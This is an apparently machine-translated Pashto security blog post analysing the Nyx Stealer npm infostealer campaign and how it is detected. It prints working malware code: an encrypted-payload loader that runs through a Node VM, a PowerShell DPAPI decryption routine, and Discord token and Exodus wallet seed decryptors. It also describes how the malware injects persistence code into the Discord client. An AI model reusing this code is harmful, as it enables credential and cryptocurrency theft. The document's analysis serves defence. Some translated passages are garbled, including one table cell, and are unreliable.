د تمديد؛ DR
د زیګیني امنیتي څیړنې ټیم د دوو ناوړه پیکجونو له لارې د npm انفوسټیلر یو پیچلی کمپاین پیژندل شوی: کنسولوفای او ځان بوټ-لوفي.
وروستۍ نسخه (consolelofy@1.3.0) د 216KB AES- کوډ شوی پیلوډ ځای په ځای کوي چې د چلولو په وخت کې ډیکریپټ کیږي او له لارې اجرا کیږي vm.runInNewContext(). ځکه چې ناوړه منطق په بشپړ ډول کوډ شوی دی، د سټینګ تفتیش باندې تکیه کونکي سټیک سکینرونه نشي کولی د اجرا کولو وخت پورې د هغې چلند وڅاري.
کله چې ډیکریپټ شي، د بار بار، په داخلي توګه برانډ شوی د نیکس غلا کوونکی، موخې:
- د ډیسکارډ تصدیق نښې
- د براوزر د اعتبار لپاره ۵۰+ پلورنځي
- د ۹۰ څخه زیات د کریپټو کرنسی والټ توسیعونه
- روبلوکس، انسټاګرام، سپوټایفای، سټیم، ټیلیګرام، او ټیک ټاک غونډې
- د ډیسکارډ ډیسټاپ مراجع دوام
په دواړو پیکجونو کې ټولې ۲۰ نسخې راپور شوې او تایید شوې چې دا ناوړه وې.
د دې npm انفوسټیلر تخنیکي کتنه
د دودیز نصب وخت مالویر برعکس، دا کمپاین په یو باندې تکیه کوي د چلولو وخت د کوډ کولو ماډل.
دلته دي:
- هیڅ ناوړه کار نشته
preinstallorpostinstallhooks - د نصبولو وخت کې د شبکې هیڅ څرګند زنګونه نشته
- د ساده متن د اعتبار راټولولو منطق نشته
کله چې ماډل وارد شي، پېلوډ فعالېږي. ټوله ناوړه بدن کوډ شوی او یوازې د چلولو په وخت کې په حافظه کې مادي کیږي.
دا ډیزاین په ځانګړي ډول د بسته بندۍ نصبولو پرمهال د کشف څخه مخنیوی کوي.
دا npm معلومات غلا کوونکی په حقیقت کې څنګه اجرا کوي
مخکې لدې چې تحلیل وکړو چې Nyx Stealer څه غلا کوي، موږ باید پوه شو دا څنګه اجرا کیږي.
د دې npm انفوسټیلر دننه ناوړه منطق یو ثابت نمونه تعقیبوي:
یو کوچنی لوډر یو لوی کوډ شوی پیلوډ ډیکریپټ کوي او په متحرک ډول یې د Node.js VM شرایطو دننه اجرا کوي.
دا ډیزاین قصدي دی. بریدګر یوازې د پټولو تر شا فعالیت نه پټوي، دوی دي د جامد لید څخه په بشپړ ډول د ناوړه کوډ لرې کول.
د لوړې کچې اجرا کولو ماډل
په لوړه کچه، ریپر څلور کارونه کوي:
- د SHA-256 په کارولو سره د هارډ کوډ شوي پاسفریج څخه د AES کیلي ترلاسه کوي
- د AES-256-CBC په کارولو سره یو لوی هیکس کوډ شوی سیفر متن ډیکریپټ کوي
- د کوډ شوي جاواسکریپټ په کارولو سره اجرا کوي
vm.runInNewContext() - یو سینڈ باکس چمتو کوي چې لاهم د ځواکمن رن ټایم لومړني توکي افشا کوي
د اصلي تخنیک لنډیز
| برخه | ترتیب / ارزښت |
|---|---|
| الګوریتم | د AES-256-CBC لپاره تفتیش وسپارئ، موږ به په 24 ساعتونو کې له تاسو سره اړیکه ونیسو. |
| کلیدي استخراج | SHA-256 (پاسفریز) |
| د پیل کولو ویکتور (IV) | د 0x00 ۱۶ بایټونه |
| د اجرا | vm.runInNewContext(ډکرپټ شوی، سینڈ باکس) |
په جدي توګه، د شګو صندوق له دې لارې تیریږي:
requireprocessBuffer- ټایمرز
- د ماډل صادرات
دا پدې مانا ده چې کوډ شوی تادیه بشپړ وړتیا ساتي چې:
- د سپون پروسې
- فایلونه ولولئ او ولیکئ
- د شبکې زنګونه وهل
- محلي غوښتنلیکونه بدل کړئ
دا یو محدود VM نه دی. دا یو VM دی چې د اعدام ټرامپولین په توګه کارول کیږي.
د رن ټایم کوډ کولو نمونه (د اجرا کولو اصلي میکانیزم)
بار وړونکی کوچنی دی.
ناوړه بدن نه دی.
لاندې د اجرا کولو نمونه ده چې د پیکج دننه موندل کیږي:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } دا ولې اهمیت لري
کوډ شوی پیلوډ:
- آیا نه د npm پیکج دننه په ساده متن کې شتون لري
- ساده ته نه لیدل کېږي
grepیا جامد تار سکین کول - یوازې د چلولو په وخت کې په حافظه کې عملي کیږي
- د بشپړ نوډ چلولو وړتیاو سره اجرا کوي
دا د AES + VM اجرا کولو ترکیب د یو قوي چلند شاخص دی د npm معلومات غلا کوونکی هڅه کوي چې جامد تفتیش پریږدي.
په نورو ټکو:
که تاسو د پیکج سرچینې ونې سکین کړئ، تاسو غلا کوونکی نه ګورئ.
تاسو یو ډیکریپټر ګورئ.
د کوډ کولو وروسته څه پیښیږي
کله چې اجرا شي، Nyx Stealer د معلوماتو راټولولو موازي څپې پیلوي.
لومړۍ څپه: د براوزر اعتبار استخراج
مالویر:
- د NuGet CDN څخه د پایتون رن ټایم ډاونلوډ کوي
- کریپټوګرافیک کتابتونونه نصبوي
- د کرومیم پر بنسټ د اعتبار پلورنځي استخراجوي
- د DPAPI-خوندي رازونه ډیکریپټ کوي
د اصلي تړلو د راټولولو پر ځای، دا د پاورشیل څخه ګټه پورته کوي ترڅو مستقیم وینډوز DPAPI ته زنګ ووهي.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } دا طریقه:
- د تالیف شویو اثارو څخه ډډه کوي
- د وینډوز اصلي کریپټو API کاروي
- په اداري وسایلو کې ګډېږي
دا د OS په کچه د اعتبار ډیکریپشن دی، نه سکریپ کول.
دوهمه څپه: د ډیسکارډ ټوکن ډیکریپشن
غلا کوونکی د پروتوکول څخه خبر دی. دا د ډیسکارډ کوډ شوي ټوکن بڼه پوهیږي.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } عملیاتي جریان:
- د ډیسکارډ څخه ماسټر کیلي راوباسئ
Local State - د DPAPI له لارې ماسټر کیلي ډیکریپټ کړئ
- د AES-GCM ټوکن بلابس ډیکریپټ کړئ
- د ډیسکارډ API په وړاندې ټوکنونه تایید کړئ
- د نایټرو، بیجونو، او بلینګ معلوماتو سره بډایه کړئ
دا عمومي اسناد ډمپ کول نه دي. دا د پروتوکول څخه خبر سیشن هایجیک کول دي.
دریم څپه: د کریپټو کرنسی والټ په نښه کول
د npm معلوماتي غلا کوونکی په لاندې ډول شمېري:
- د براوزر والټ ۹۰+ توسیعونه
- ۲۷ ډیسکټاپ والټونه
- د بټوې سړې لارې
- د Exodus تخم فایلونه
د تخم د کوډ کولو هڅې مثال:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } که بریالی شي، د بټوې جوړجاړی سمدستي او نه بدلیدونکی دی.
دا د کمپاین د لوړ ارزښت لرونکي پیسو راټولولو ویکتور استازیتوب کوي.
د ډیسکارډ ډیسټاپ انجیکشن له لارې دوام
د اعتبارونو راټولولو وروسته، Nyx Stealer د محلي تعدیل له لارې د دوام هڅه کوي توپیر مراجع.
هدف:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js عملیاتي لړۍ
د معلوماتو غلا کوونکی لاندې مرحلې ترسره کوي:
- د ډیسکارډ روانې پروسې پای ته رسوي
- د نصب شوي ډیسکارډ ډولونه (مستحکم، کینري، PTB) موندل
- له سره لیکي
discord_desktop_core/index.js - د بریدګر کنټرول شوي ویب هوک منطق انجیکشن کوي
- ډیسکارډ بیا پیل کوي
دا ډاډ ورکوي چې راتلونکي ډیسکارډ غونډې په اتوماتيک ډول د تصدیق تازه ټوکنونه لیکي.
په مهمه توګه، دا دوام په مهالویش شوي دندو یا د راجسټری تعدیلاتو تکیه نه کوي. دا د غوښتنلیک کچې کوډ تعدیل څخه ګټه پورته کوي، یو پټ چلند.
حتی که ناوړه npm بسته وروسته لرې شي، د ډیسکارډ مراجع به له خطر سره مخ وي.
تخنیکي پرتله کول: قانوني سیلف بوټ د npm انفوسټیلر په وړاندې
| برخه | قانوني کتابتون | د Nyx npm معلوماتي غلا کوونکی |
|---|---|---|
| د کوډونې | هیڅ یو | بشپړ AES- کوډ شوی پیلوډ |
| د چلولو وخت VM | اړتیا نشته | vm.runInNewContext اعدام |
| د اعتبار لاسرسی | یوازې د ډیسکارډ API | براوزر، والټونه، DPAPI |
| بهرنۍ ډاونلوډونه | نه | د NuGet له لارې د پایتون چلولو وخت |
| دوام | نه | د ډیسکارډ مراجع انجیکشن |
| Monetization | د بوټ اتومات کول | د اسنادو بیا پلورل |
یوازې د کوډ کولو طبقه دا کمپاین د یو عادي خلاصې سرچینې فورک څخه جلا کوي.
یو مشروع ډیسکارډ سیلف بوټ هیڅ دلیل نلري چې خپل ټول کوډبیس کوډ کړي، د DPAPI لاسرسي لپاره پاورشیل رامینځته کړي، بهرني رن ټایمونه ډاونلوډ کړي، یا د ډیسکټاپ غوښتنلیک داخلي برخې تعدیل کړي. کله چې دا وړتیاوې د یوې انحصار دننه څرګند شي چې د ډیسکارډ تعاملاتو اتومات کولو ادعا کوي، نو د معمارۍ بې اتفاقي له پامه غورځول ناممکن کیږي.
د څېړنې له نظره، دا npm infostealer په څو طبقو کې نښې پریږدي. په هرصورت، ترټولو باوري شاخصونه هارډ کوډ شوي URLs یا ځانګړي فایل لارې ندي، ځکه چې دا کولی شي د نسخو ترمنځ بدلون ومومي. پرځای یې، دوامداره سیګنالونه ساختماني دي.
د بسته بندۍ په کچه، تر ټولو قوي سور بیرغ د لوی کوډ شوي پیلوډ او د رن ټایم ډیکریپشن ریپر ترکیب دی چې سمدلاسه د vm.runInNewContext(). که څه هم کوډ کول یوازې په طبیعي ډول ناوړه ندي، د AES ډیکریپشن کارول چې وروسته د ډیسکارډ یوټیلټي پیکج دننه د متحرک VM اجرا کول خورا غیر معمولي دي.
د کوربه په کچه، شکمن نمونې د غیر متوقع DPAPI ډیکریپشن فعالیت، د Node.js انحصاري شرایطو څخه د پروسې سپونینګ، او د ځایی غوښتنلیک فایلونو تعدیل شامل دي چې هیڅکله باید د دریمې ډلې کتابتونونو لخوا بدل نشي. په ورته ډول، د شبکې په طبقه کې، د پراختیا انحصار لخوا پیل شوي بهر ته د ویب هوک سټایل اړیکه یو بل معنی لرونکی بې نظمي استازیتوب کوي.
په بل عبارت، د کشف سطحه د جوړجاړي یو واحد شاخص نه دی. دا د کوډ کولو، د چلولو وخت اجرا کولو، د اعتبار لاسرسي، او دوامدار چلند اړیکه ده چې ګواښ څرګندوي.
د زیګیني سره کشف او کمول
دا npm معلومات غلا کوونکی د لخوا پیژندل شوی و د زیګیني د مالویر دمخه خبرداری (MEW) د ساده لاسلیک مطابقت پرځای د پرتونو چلندي اړیکو له لارې.
د پیژندل شویو ناوړه تارونو د لټون پر ځای، MEW د بشپړ سرچینې ونې په اوږدو کې ساختماني بې نظمۍ ارزوي. پدې حالت کې، کشف د څو سیګنالونو د همغږۍ څخه راڅرګند شو: د ماډل د ننوتلو نقطې کې د AES ډیکریپشن معمول، د VM شرایطو دننه سمدستي اجرا کول، او د وړتیا څخه تر ارادې پورې یو روښانه بې مطابقت.
په مهمه توګه، د دې سیګنالونو څخه هیڅ یو یوازې ناوړه اراده نه ثابتوي. په هرصورت، کله چې یوځای تحلیل شي، دوی د چلولو وخت چلند پټولو هڅه افشا کوي. دا پرتې چلند د لوړ باور رسولو سلسلې ګواښونو پیژندلو پرمهال د غلط مثبتونو د پام وړ کمښت راولي.
سربېره پردې، دا قضیه ښیي چې ولې یوازې د نصب وخت تفتیش کافي نه دی. ناوړه منطق د ژوند دورې سکریپټونو کې نه اوسیږي. دا یوازې د ماډل باریدو وروسته فعال کیږي او یوازې هغه وخت لیدل کیږي کله چې په حافظه کې کوډ شوی وي. له همدې امله، مؤثره دفاع د کوډ کولو څخه خبرتیا تحلیل، د چلند نمونې پیژندنه، او د نصب کولو پیښو هاخوا دوامداره انحصاري څارنې ته اړتیا لري.
د راجسټری لرې کول غبرګوني دي. د چلولو وخت په اړه پوهاوی تحلیل مخنیوي دی.
ولې دا npm معلوماتي کوونکی مهم دی
Nyx Stealer د npm پر بنسټ مالویر کې د ساختماني ارتقا استازیتوب کوي.
په تاریخي توګه، ډیری ناوړه کڅوړې د لیدلو وړ نصب وخت سکریپټونو یا د کریډینشل ایکسفیلټریشن څرګند پای ټکو باندې تکیه کوي. برعکس، دا کمپاین خپل تادیه کوډ کوي، اجرا کول د چلولو وخت ته ځنډوي، د مشروع عملیاتي سیسټم APIs څخه ګټه پورته کوي، او د باوري غوښتنلیکونو دننه دوام رامینځته کوي.
په پایله کې، بریدګر اړتیا نلري چې د npm زیربنا پخپله وکاروي. پرځای یې، برید بریالی کیږي ځکه چې د انحصار نصب کول باور معنی لري. پراختیا کونکي فرض کوي چې د کتابتون واردول یو خوندي عملیات دی، په ځانګړي توګه کله چې دا ځان د یوې مشهورې وسیلې د باور وړ فورک په توګه وړاندې کوي.
لکه څنګه چې ایکوسیستمونه وده کوي او فورکونه پراخیږي، دا ضمني باور سرحد په زیاتیدونکي توګه د برید په زړه پورې سطح بدلیږي. له همدې امله، د عصري npm انفوسټیلرز په وړاندې دفاع د جامد تارونو لټون کولو پرځای د معمارۍ نمونو پیژندلو ته اړتیا لري.
په پای کې، دا کمپاین په دې کې یو مهم درس پیاوړی کوي software supply chain security: تر ټولو خطرناک ګواښونه هغه نه دي چې په لومړي نظر کې ناوړه ښکاري، بلکې هغه دي چې په ساختماني لحاظ مشروع ښکاري تر هغه چې د رن ټایم له لارې د دوی ریښتیني چلند څرګند شي.




